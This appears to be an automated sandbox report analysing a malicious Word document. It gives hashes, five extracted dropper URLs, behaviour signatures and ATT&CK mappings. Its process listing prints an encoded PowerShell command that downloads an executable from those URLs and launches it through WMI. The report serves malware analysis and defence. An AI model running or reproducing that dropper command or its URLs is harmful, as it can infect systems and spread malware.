3113c9be4e91ab866a9d0a0a3a71236962f0598a11a4345f114dcf1e3feae621

General

Target

arc120doc.doc
Size

172KB
MD5

4e0b4da2278baadb9e76d1e20a16086a
SHA1

e67b2b2f20073e65fcf22f68ecbfd3a2f7499534
SHA256

3113c9be4e91ab866a9d0a0a3a71236962f0598a11a4345f114dcf1e3feae621
SHA512

1f130f4fafb11b79670a0b9446cfb090ad0b4746f8b762d3febe2bd2c1a398efee56d15e070195678c23c40e16930bc4b379e589bbc30e72ec0d474aa719b4b9
SSDEEP

3072:SG4PrXcuQuvpzm4bkiaMQgAlSApJ0aP7qI0DaCppgRyLtGIhRR:8DRv1m4bnQgISCJ0aPkGIhRR

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://departure.world/wp-content/V4GFFNihI/

exe.dropper

http://songbadtv.com/wp-includes/XQrT027149/

exe.dropper

https://planet7vip.com/czy/hR8MMWwRkY/

exe.dropper

http://blog.tujanena.com/ariu/C2LSRbc8/

exe.dropper

http://drsoli.com/k1vjzk/XtSsbRPzyI/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1844	2080	powersheLL.exe	25

Blocklisted process makes network request 2 IoCs

flow	pid	Process
26	1844	powersheLL.exe
28	1844	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4808	WINWORD.EXE
4808	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1844	powersheLL.exe
1844	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1844	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
4808	WINWORD.EXE
4808	WINWORD.EXE
4808	WINWORD.EXE
4808	WINWORD.EXE
4808	WINWORD.EXE
4808	WINWORD.EXE
4808	WINWORD.EXE
4808	WINWORD.EXE
4808	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\arc120doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4808

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JAB3AGUAYwB3AGkAYQBjAGgAcgBpAHoAPQAnAHMAYQBlAHAAYwBhAHoAdwBhAHUAZwBxAHUAdQBhAHkAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwBgAFUAUgBpAHQAWQBQAHIAYABPAHQAbwBgAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAZwBlAG8AaABiAGUAbwBqAHkAYQBlAGMAIAA9ACAAJwA3ADMANAAnADsAJABxAHUAbwB1AHcAcwBpAGEAYgBxAHUAZQBrAHEAdQBlAHUAaAA9ACcAeABhAGUAdABoAGMAbwBlAG0AdABhAG8AeAAnADsAJABtAG8AeQBoAGEAZQBjAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABnAGUAbwBoAGIAZQBvAGoAeQBhAGUAYwArACcALgBlAHgAZQAnADsAJABnAGUAdQB6AHAAbwBvAHEAdQB5AGUAZQBmAGoAYQB1AHgAPQAnAGsAbwBpAHcAcQB1AG8AdQBuAGYAZQBhAHQAJwA7ACQAagBvAGkAcAB3AHUAYQBwAD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAFcAZQBCAEMATABJAEUATgBUADsAJABxAHUAZQBpAGoAcgBvAGEAcwA9ACcAaAB0AHQAcAA6AC8ALwBkAGUAcABhAHIAdAB1AHIAZQAuAHcAbwByAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBWADQARwBGAEYATgBpAGgASQAvACoAaAB0AHQAcAA6AC8ALwBzAG8AbgBnAGIAYQBkAHQAdgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWABRAHIAVAAwADIANwAxADQAOQAvACoAaAB0AHQAcABzADoALwAvAHAAbABhAG4AZQB0ADcAdgBpAHAALgBjAG8AbQAvAGMAegB5AC8AaABSADgATQBNAFcAdwBSAGsAWQAvACoAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AdAB1AGoAYQBuAGUAbgBhAC4AYwBvAG0ALwBhAHIAaQB1AC8AQwAyAEwAUwBSAGIAYwA4AC8AKgBoAHQAdABwADoALwAvAGQAcgBzAG8AbABpAC4AYwBvAG0ALwBrADEAdgBqAHoAawAvAFgAdABTAHMAYgBSAFAAegB5AEkALwAnAC4AIgBzAFAAYABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHIAbwBhAGsAbABhAGUAaAA9ACcAdABoAG8AYQBtAHgAbwBvAGMAaABvAGIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGgAdQBhAGQAZABlAHUAcgBxAHUAYQBpAGgAagBhAHcAIABpAG4AIAAkAHEAdQBlAGkAagByAG8AYQBzACkAewB0AHIAeQB7ACQAagBvAGkAcAB3AHUAYQBwAC4AIgBkAE8AYAB3AE4AYABsAGAATwBhAGQAZgBpAEwAZQAiACgAJABoAHUAYQBkAGQAZQB1AHIAcQB1AGEAaQBoAGoAYQB3ACwAIAAkAG0AbwB5AGgAYQBlAGMAKQA7ACQAYwBoAGUAdQBrAGMAaABvAGkAdgA9ACcAcgBhAGUAawBxAHUAbwBlAGIAYgBpAG8AeQBwAHUAYQB5ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAbQBvAHkAaABhAGUAYwApAC4AIgBMAEUAYABOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAzADQAOAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBgAEUAQQB0AEUAIgAoACQAbQBvAHkAaABhAGUAYwApADsAJABxAHUAbwB1AHAAZgBvAHUAdABoAD0AJwBjAGUAYQBwAGIAaQBvAGIAdwBpAGEAYgAnADsAYgByAGUAYQBrADsAJABjAGgAYQBvAHEAdQBqAG8AYQBkAGIAdQB0AGgAeQB1AHQAPQAnAGsAZQBpAGIAdgBlAG8AZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABjAGgAaQBlAGoAZwB1AG0AYgBpAGEAcAA9ACcAcQB1AG8AaQBjAGgAYgBhAGUAeABwAGEAbwBzACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ryxz4wyh.xqt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1844-173-0x0000018F9FDC0000-0x0000018F9FDD0000-memory.dmp

Filesize
64KB

Download
memory/1844-172-0x0000018F9FDC0000-0x0000018F9FDD0000-memory.dmp

Filesize
64KB

Download
memory/1844-171-0x0000018F9FD50000-0x0000018F9FD72000-memory.dmp

Filesize
136KB

Download
memory/4808-137-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download
memory/4808-138-0x00007FFD34940000-0x00007FFD34950000-memory.dmp

Filesize
64KB

Download
memory/4808-139-0x00007FFD34940000-0x00007FFD34950000-memory.dmp

Filesize
64KB

Download
memory/4808-159-0x0000029B053B0000-0x0000029B055B0000-memory.dmp

Filesize
2.0MB

Download
memory/4808-133-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download
memory/4808-136-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download
memory/4808-135-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download
memory/4808-134-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download
memory/4808-182-0x0000029B053B0000-0x0000029B055B0000-memory.dmp

Filesize
2.0MB

Download
memory/4808-202-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download
memory/4808-203-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download
memory/4808-204-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download
memory/4808-205-0x00007FFD369F0000-0x00007FFD36A00000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads